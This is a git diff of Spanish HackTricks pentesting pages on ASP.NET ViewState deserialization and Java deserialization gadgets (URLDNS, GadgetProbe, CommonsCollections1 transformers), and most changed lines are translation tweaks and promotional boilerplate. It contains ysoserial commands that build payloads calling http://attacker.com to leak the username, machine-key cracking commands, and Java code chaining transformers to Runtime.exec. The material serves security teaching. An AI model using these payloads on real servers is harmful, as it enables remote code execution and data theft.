* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
En este POST se va a explicar un ejemplo usando `java.io.Serializable`.
En este POST se explicará un ejemplo usando `java.io.Serializable`.
# Serializable

View file

@ -4,11 +4,11 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de HackTricks en AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es ViewState?
## ¿Qué es ViewState
**ViewState** sirve como mecanismo predeterminado en ASP.NET para mantener datos de página y control a través de páginas web. Durante la renderización del HTML de una página, el estado actual de la página y los valores a preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan en campos ViewState ocultos.
@ -30,16 +30,16 @@ La información de ViewState puede caracterizarse por las siguientes propiedades
- Este formato se utiliza cuando tanto los atributos `EnableViewStateMac` como `ViewStateEncryptionMode` están establecidos en false.
- **Base64 + MAC (Código de Autenticación de Mensajes) Habilitado**:
- La activación de MAC se logra configurando el atributo `EnableViewStateMac` en true. Esto proporciona verificación de integridad para los datos de ViewState.
- La activación de MAC se logra estableciendo el atributo `EnableViewStateMac` en true. Esto proporciona verificación de integridad para los datos de ViewState.
- **Base64 + Encriptado**:
- La encriptación se aplica cuando el atributo `ViewStateEncryptionMode` está establecido en true, garantizando la confidencialidad de los datos de ViewState.
- La encriptación se aplica cuando el atributo `ViewStateEncryptionMode` está establecido en true, asegurando la confidencialidad de los datos de ViewState.
## Casos de Prueba
La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET basadas en la versión del framework .NET. Aquí tienes un resumen del contenido:
1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey y, por lo tanto, no hay un método aplicable para identificarlo.
1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no lo está, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r".
@ -60,16 +60,16 @@ Puedes intentar identificar si ViewState está protegido por MAC capturando una
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Caso de prueba 1.5 - Al igual que el Caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
### Caso de prueba 1.5 Al igual que el Caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una Solicitud HTTP (el usuario no recibirá esta cookie).\
Uno podría asumir que si **ViewState** no está **presente**, su implementación está **segura** de cualquier vulnerabilidad potencial relacionada con la deserialización de ViewState.\
Sin embargo, esto no es cierto. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
Sin embargo, esto no es cierto. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga serializada creada usando ysoserial, aún podremos lograr **ejecución de código** como se muestra en el **Caso 1**.
### Caso de prueba: 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
### Caso de prueba: 2 .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
Para **habilitar ViewState MAC** para una **página específica**, necesitamos realizar los siguientes cambios en un archivo aspx específico:
Para **habilitar MAC de ViewState** para una **página específica**, necesitamos realizar los siguientes cambios en un archivo aspx específico:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -93,7 +93,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
Puede ser suministrada con el viewstate y el generador directamente:
```
@ -131,13 +131,13 @@ En los casos en que el parámetro `_VIEWSTATEGENERATOR` **no sea enviado** por e
```
### Caso de prueba: 3 - .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
En este caso, no se sabe si el parámetro está protegido con MAC. Entonces, probablemente el valor esté encriptado y **necesitarás la Machine Key para encriptar tu carga útil** y explotar la vulnerabilidad.
En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el valor probablemente esté encriptado y **necesitarás la Machine Key para encriptar tu carga útil** y explotar la vulnerabilidad.
**En este caso, el módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...**
**En este caso el** [**módulo Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...**
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **no encriptado** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil no encriptada, aún se procesará.**
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **no encriptado** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil no encriptada, aún será procesada.**
Por lo tanto, si los atacantes encuentran una forma de obtener la Machine Key a través de otra vulnerabilidad como la travesía de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, se puede utilizar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
Por lo tanto, si los atacantes encuentran una forma de obtener la Machinekey a través de otra vulnerabilidad como la travesía de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, se puede utilizar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
* Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState; de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
@ -168,8 +168,6 @@ O, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Una vez que se identifica una clave de Máquina válida, **el siguiente paso es generar un payload serializado usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
@ -183,13 +181,13 @@ Una explotación exitosa de la vulnerabilidad de deserialización de ViewState p
### Caso de Prueba 6 Se está utilizando ViewStateUserKeys
La propiedad **ViewStateUserKey** se puede utilizar para **defenderse** contra un **ataque CSRF**. Si se ha definido una clave de este tipo en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
Necesitas utilizar un parámetro más para crear correctamente la carga útil:
Necesitas utilizar un parámetro adicional para crear correctamente la carga útil:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Resultado de una Explotación Exitosa <a href="#poc" id="poc"></a>
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona **exitosamente**, entonces el servidor responde con un "**error interno del servidor 500**" teniendo como contenido de respuesta "**La información de estado no es válida para esta página y podría estar corrupta**" y obtenemos la solicitud OOB.
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona **exitosamente**, entonces el servidor responde con un “**error interno del servidor 500**” teniendo como contenido de respuesta “**La información de estado no es válida para esta página y podría estar corrupta**” y obtenemos la solicitud OOB.
Consulte [más información aquí]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))
@ -202,7 +200,7 @@ Consulte [más información aquí]([**https://www.notsosecure.com/exploiting-vie
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -213,9 +211,9 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -33,14 +33,14 @@ for (int i = 0; i < mappings; i++) {
putVal(hash(key), key, value, false, false);
}
```
Se **ejecutará** el `putVal` con cada valor dentro del `HashMap`. Pero, más relevante es la llamada a `hash` con cada valor. Este es el código de la función `hash`:
Se **ejecutará** la función `putVal` con cada valor dentro del `HashMap`. Sin embargo, más relevante es la llamada a `hash` con cada valor. Este es el código de la función `hash`:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la ejecución de **`hash`** se va a ejecutar `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** que **contiene** un objeto **URL**, el objeto **URL** va a **ejecutar** `.hashCode()`.
Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` va a **ser ejecutada con cada objeto** y **durante** la ejecución de **`hash`** se va a ejecutar `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** que **contiene** un objeto **URL**, el objeto **URL** va a **ejecutar** `.hashCode()`.
Ahora, echemos un vistazo al código de `URLObject.hashCode()`:
```java
@ -147,7 +147,7 @@ Puedes descargar [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) des
### ¿Cómo funciona?
**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS intentará **deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** se**enviada** y GadgetProbe notará que esta clase existe. Si la solicitud de **DNS** nunca se envía, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que no está presente o no es **serializable/exploitable**.
**GadgetProbe** utilizará la misma **carga útil de DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS intentará **deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** se **enviará** y GadgetProbe notará que esta clase existe. Si la solicitud de **DNS** nunca se envía, esto significa que la **clase arbitraria no se deserializó** con éxito, por lo que no está presente o no es **serializable/exploitable**.
Dentro de GitHub, [**GadgetProbe tiene algunas listas de palabras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con clases de Java para ser probadas.
@ -177,12 +177,12 @@ Luego, dentro de la _Pestaña de Escáner de Deserialización_ --> _Pestaña de
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
Aunque esto se llama "Pruebas manuales", es bastante **automatizado**. Comprobará automáticamente si la **deserialización** es **vulnerable** a **cualquier carga útil ysoserial** verificando las bibliotecas presentes en el servidor web y resaltará las vulnerables. Para **verificar** las **bibliotecas vulnerables** puedes seleccionar lanzar **Javas Sleeps**, **sleeps** a través del **consumo de CPU**, o usando **DNS** como se mencionó anteriormente.
Aunque se llama "Pruebas manuales", es bastante **automatizado**. Comprobará automáticamente si la **deserialización** es **vulnerable** a **cualquier carga útil ysoserial** verificando las bibliotecas presentes en el servidor web y resaltará las vulnerables. Para **verificar** las **bibliotecas vulnerables** puedes seleccionar lanzar **Javas Sleeps**, **sleeps** a través del **consumo de CPU**, o usando **DNS** como se mencionó anteriormente.
**Explotación**
Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la _Pestaña de Explotación_.\
En esta pestaña debes **seleccionar** nuevamente el **punto de inyección**, escribir la **biblioteca vulnerable** para la cual deseas crear una carga útil, y el **comando**. Luego, simplemente presiona el botón de **Ataque** apropiado.
En esta pestaña debes **seleccionar** nuevamente el **punto de inyección**, escribir la **biblioteca vulnerable** para la cual deseas crear una carga útil y el **comando**. Luego, simplemente presiona el botón de **Ataque** apropiado.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
@ -194,7 +194,7 @@ Haz que tu carga útil ejecute algo como lo siguiente:
```
### Más Información
* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
* [https://techblog.mediaservice.net/2017/05/fiabilidad-descubrimiento-explotacion-vulnerabilidades-deserializacion-java/](https://techblog.mediaservice.net/2017/05/fiabilidad-descubrimiento-explotacion-vulnerabilidades-deserializacion-java/)
<details>
@ -204,8 +204,8 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,14 +1,14 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,10 +1,10 @@
# Carga útil de CommonsCollection1 - Java Transformers a Rutime exec() y Thread Sleep
# Carga útil de CommonsCollection1 - Transformadores de Java a Rutime exec() y Thread Sleep
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,9 +12,9 @@
</details>
## Java Transformers a Rutime exec()
## Transformadores de Java a Rutime exec()
En varios lugares puedes encontrar una carga útil de deserialización de Java que utiliza transformers de Apache common collections como la siguiente:
En varios lugares puedes encontrar una carga útil de deserialización de Java que utiliza transformadores de Apache common collections como la siguiente:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -67,7 +67,7 @@ O **más exactamente**, lo que se ejecutará al final sería:
Entonces, ¿cómo se presenta el primer payload equivalente a esas líneas de comando "simples"?
**Primero** que todo, puedes notar en el payload que se crea una **cadena (array) de transformaciones**:
**Primero** que nada, puedes notar en el payload que se crea una **cadena (array) de transformaciones**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
@ -218,12 +218,12 @@ Puedes encontrar más gadgets aquí: [https://deadcode.me/blog/2016/09/02/Blind-
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
